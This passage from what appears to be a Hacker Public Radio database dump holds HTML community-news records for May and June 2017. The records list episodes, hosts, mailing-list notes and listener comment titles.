href=\"https://hackerpublicradio.org/eps.php?id=2302\" target=\"_blank\">Bash snippet - nullglob</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2303\" target=\"_blank\">2303</a></strong></td>\n    <td>Wed</td>\n    <td>2017-05-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2303\" target=\"_blank\">Kdenlive Part 5 All About Audio</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-May/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 50 comments in total.</p>\n<p>There are 8 comments on\n8 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2168#comments\" target=\"_blank\">hpr2168</a></strong>\n(2016-11-23) \"<em>Analogue Random Number Generation</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2168#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2017-05-29:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2249#comments\" target=\"_blank\">hpr2249</a></strong>\n(2017-03-16) \"<em>HPR New Year show episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2249#5\" target=\"_blank\">Comment 5</a>:\nEthan William on 2017-05-21:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2263#comments\" target=\"_blank\">hpr2263</a></strong>\n(2017-04-05) \"<em>Freak Does Geek</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=352\" target=\"_blank\">fth</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2263#2\" target=\"_blank\">Comment 2</a>:\nrtsn on 2017-05-20:\n\"Great episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2266#comments\" target=\"_blank\">hpr2266</a></strong>\n(2017-04-10) \"<em>Gamebooks: Lone Wolf</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2266#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2017-05-07:\n\"Intriguing! \"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2267#comments\" target=\"_blank\">hpr2267</a></strong>\n(2017-04-11) \"<em>Our Digital Art</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.com/eps.php?id=2267#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2017-05-20:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2269#comments\" target=\"_blank\">hpr2269</a></strong>\n(2017-04-13) \"<em>Chocolate Milk</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=353\" target=\"_blank\">venam</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2269#4\" target=\"_blank\">Comment 4</a>:\ndodddummy on 2017-05-06:\n\"Got it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hobbypublicradio.com/eps.php?id=2271#comments\" target=\"_blank\">hpr2271</a></strong>\n(2017-04-17) \"<em>Raspberry Pi Zero W</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hobbypublicradio.com/eps.php?id=2271#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-05-09:\n\"Pi Zero W\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2272#comments\" target=\"_blank\">hpr2272</a></strong>\n(2017-04-18) \"<em>In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2272#2\" target=\"_blank\">Comment 2</a>:\nMirwi on 2017-05-13:\n\"Entertaining\"</li></ul><br/>\n</li></ul>\n<p>There are 42 comments on 16 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2281#comments\" target=\"_blank\">hpr2281</a></strong>\n(2017-05-01) \"<em>HPR Community News for April 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2281#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-05-06:\n\"dodddummy\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2281#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-05-16:\n\"Thanks for the explanation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2283#comments\" target=\"_blank\">hpr2283</a></strong>\n(2017-05-03) \"<em>Saving money shaving with double and single edge safety razors</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\" target=\"_blank\">Dave Yates</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2283#1\" target=\"_blank\">Comment 1</a>:\nQuvmoh on 2017-05-03:\n\"Smooth show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2283#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2017-05-04:\n\"Dave! The whole time i was wondering\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2283#3\" target=\"_blank\">Comment 3</a>:\nRoan on 2017-05-08:\n\"Mechanical saftey razors\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2283#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2017-05-22:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2283#5\" target=\"_blank\">Comment 5</a>:\nJonas on 2017-05-29:\n\"Welcome back!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2284#comments\" target=\"_blank\">hpr2284</a></strong>\n(2017-05-04) \"<em>Resurrecting a dead ethernet switch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\" target=\"_blank\">mirwi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2284#1\" target=\"_blank\">Comment 1</a>:\nKrayon on 2017-05-04:\n\"Good job!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2284#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2017-05-05:\n\"well done\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2286#comments\" target=\"_blank\">hpr2286</a></strong>\n(2017-05-08) \"<em>Surviving a Stroke</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2286#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-05-08:\n\"Fatigue\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2286#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-05-09:\n\"Fatigue\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2286#3\" target=\"_blank\">Comment 3</a>:\nJonas on 2017-05-29:\n\"Great Info. \"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2287#comments\" target=\"_blank\">hpr2287</a></strong>\n(2017-05-09) \"<em>Desparately Seeking Saving RMS - Introduction</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2287#1\" target=\"_blank\">Comment 1</a>:\nBrenda J. Butler on 2017-05-10:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2287#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2017-05-14:\n\"Thatnks for the tip\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2288#comments\" target=\"_blank\">hpr2288</a></strong>\n(2017-05-10) \"<em>Installing and using virtualenvwrapper for python</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=355\" target=\"_blank\">Knox</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2288#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-05-11:\n\"Great episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2288#2\" target=\"_blank\">Comment 2</a>:\nBiasOpinion on 2017-05-16:\n\"More Python Help Please\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2288#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2017-05-31:\n\"Excellent advice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2289#comments\" target=\"_blank\">hpr2289</a></strong>\n(2017-05-11) \"<em>Sendy Send. Tell if your email has been read!!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2289#1\" target=\"_blank\">Comment 1</a>:\nJo on 2017-05-10:\n\"Hacker\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2290#comments\" target=\"_blank\">hpr2290</a></strong>\n(2017-05-12) \"<em>How to change the height of your Ironing board</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2290#1\" target=\"_blank\">Comment 1</a>:\njwp on 2017-05-29:\n\"True Love\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2292#comments\" target=\"_blank\">hpr2292</a></strong>\n(2017-05-16) \"<em>Baofeng UV5R VHF/UHF Handset part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2292#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-05-18:\n\"Strange urge to make a show...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2292#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2017-05-31:\n\"Re. Strange urge to make a show...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2293#comments\" target=\"_blank\">hpr2293</a></strong>\n(2017-05-17) \"<em>More supplementary Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#1\" target=\"_blank\">Comment 1</a>:\nJonathan Kulp on 2017-05-21:\n\"What about with SCP?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-05-21:\n\"SCP is a bit weird\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2017-05-22:\n\"SCP without extended globs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#4\" target=\"_blank\">Comment 4</a>:\nJonathan Kulp on 2017-05-22:\n\"Details, details...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2017-05-22:\n\"TMTOWTDI\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#6\" target=\"_blank\">Comment 6</a>:\nJonathan Kulp on 2017-05-22:\n\"Ken is smiling\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#7\" target=\"_blank\">Comment 7</a>:\nclacke on 2017-05-23:\n\"scp brace expansion??!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2293#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2017-05-24:\n\"scp is a bit of a hack!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2294#comments\" target=\"_blank\">hpr2294</a></strong>\n(2017-05-18) \"<em>Activities with a Toddler</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2294#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-05-19:\n\"Timely\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2294#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2017-05-19:\n\"Nice show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2294#3\" target=\"_blank\">Comment 3</a>:\nDavid Morriss on 2017-05-20:\n\"This was great\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2294#4\" target=\"_blank\">Comment 4</a>:\nJonathan Kulp on 2017-05-21:\n\"Ride the Bus\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2294#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2017-05-22:\n\"Tickling\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2295#comments\" target=\"_blank\">hpr2295</a></strong>\n(2017-05-19) \"<em>MX Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2295#1\" target=\"_blank\">Comment 1</a>:\njwp on 2017-05-29:\n\"Nice litle Distro Review\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2297#comments\" target=\"_blank\">hpr2297</a></strong>\n(2017-05-23) \"<em>More Magnatune Favourites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2297#1\" target=\"_blank\">Comment 1</a>:\nJonas on 2017-05-29:\n\"Great listen.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2297#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-05-29:\n\"Thanks for the feedback\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2298#comments\" target=\"_blank\">hpr2298</a></strong>\n(2017-05-24) \"<em>Phantom Power Drain</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2298#1\" target=\"_blank\">Comment 1</a>:\nbrian on 2017-05-27:\n\"oops\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2298#2\" target=\"_blank\">Comment 2</a>:\nJonas on 2017-05-29:\n\"I did not know that. \"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2300#comments\" target=\"_blank\">hpr2300</a></strong>\n(2017-05-26) \"<em>The first Intel CompuStick</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2300#1\" target=\"_blank\">Comment 1</a>:\njwp on 2017-05-29:\n\"Sound Quality\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2302#comments\" target=\"_blank\">hpr2302</a></strong>\n(2017-05-30) \"<em>Bash snippet - nullglob</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2302#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2017-05-30:\n\"Thanks!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2302#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-05-31:\n\"Glad you found it useful\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2326,'2017-07-03','HPR Community News for June 2017',4644,'HPR Volunteers talk about shows released and comments posted in June 2017','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=356\" target=\"_blank\">Mongo</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2304\" target=\"_blank\">2304</a></strong></td>\n    <td>Thu</td>\n    <td>2017-06-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2304\" target=\"_blank\">Using Gnome 3 for the First Time</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2305\" target=\"_blank\">2305</a></strong></td>\n    <td>Fri</td>\n    <td>2017-06-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2305\" target=\"_blank\">Configuring an HP Laptop for Dual Boot Linux and Windows 10</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=356\" target=\"_blank\">Mongo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2306\" target=\"_blank\">2306</a></strong></td>\n    <td>Mon</td>\n    <td>2017-06-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2306\" target=\"_blank\">HPR Community News for May 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2307\" target=\"_blank\">2307</a></strong></td>\n    <td>Tue</td>\n    <td>2017-06-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2307\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2308\" target=\"_blank\">2308</a></strong></td>\n    <td>Wed</td>\n    <td>2017-06-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2308\" target=\"_blank\">Everyday package operations in Guix</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2309\" target=\"_blank\">2309</a></strong></td>\n    <td>Thu</td>\n    <td>2017-06-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2309\" target=\"_blank\">Crowdsourcing Accessibility</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2310\" target=\"_blank\">2310</a></strong></td>\n    <td>Fri</td>\n    <td>2017-06-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2310\" target=\"_blank\">Kdenlive Part 6 Workflow and Conclusion. </a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2311\" target=\"_blank\">2311</a></strong></td>\n    <td>Mon</td>\n    <td>2017-06-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2311\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2312\" target=\"_blank\">2312</a></strong></td>\n    <td>Tue</td>\n    <td>2017-06-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2312\" target=\"_blank\">Troubleshooting Websites with XAMPP</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2313\" target=\"_blank\">2313</a></strong></td>\n    <td>Wed</td>\n    <td>2017-06-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2313\" target=\"_blank\">NilFS2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2314\" target=\"_blank\">2314</a></strong></td>\n    <td>Thu</td>\n    <td>2017-06-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2314\" target=\"_blank\">Bad Caps</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2315\" target=\"_blank\">2315</a></strong></td>\n    <td>Fri</td>\n    <td>2017-06-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2315\" target=\"_blank\">Penguicon 2017 Report</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2316\" target=\"_blank\">2316</a></strong></td>\n    <td>Mon</td>\n    <td>2017-06-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2316\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 6</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2317\" target=\"_blank\">2317</a></strong></td>\n    <td>Tue</td>\n    <td>2017-06-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2317\" target=\"_blank\">Bash snippet - extglob and scp</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2318\" target=\"_blank\">2318</a></strong></td>\n    <td>Wed</td>\n    <td>2017-06-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2318\" target=\"_blank\">Talking about my thinkpads</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2319\" target=\"_blank\">2319</a></strong></td>\n    <td>Thu</td>\n    <td>2017-06-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2319\" target=\"_blank\">Minimal Music Site 17.05.39 now available on sourceforge.net</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=340\" target=\"_blank\">mattkingusa</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2320\" target=\"_blank\">2320</a></strong></td>\n    <td>Fri</td>\n    <td>2017-06-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2320\" target=\"_blank\">Living Computers: Museum + Labs</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2321\" target=\"_blank\">2321</a></strong></td>\n    <td>Mon</td>\n    <td>2017-06-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2321\" target=\"_blank\">Baofeng UV5R VHF/UHF Handset part 7</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2322\" target=\"_blank\">2322</a></strong></td>\n    <td>Tue</td>\n    <td>2017-06-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2322\" target=\"_blank\">A bit of background on virtualenvwrapper</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2323\" target=\"_blank\">2323</a></strong></td>\n    <td>Wed</td>\n    <td>2017-06-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2323\" target=\"_blank\">How to Configure Mumble in Real Time</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2324\" target=\"_blank\">2324</a></strong></td>\n    <td>Thu</td>\n    <td>2017-06-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2324\" target=\"_blank\">Opensusecon 2017 and Ubuntu 16.04</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2325\" target=\"_blank\">2325</a></strong></td>\n    <td>Fri</td>\n    <td>2017-06-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2325\" target=\"_blank\">Insurance - How It Works</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a 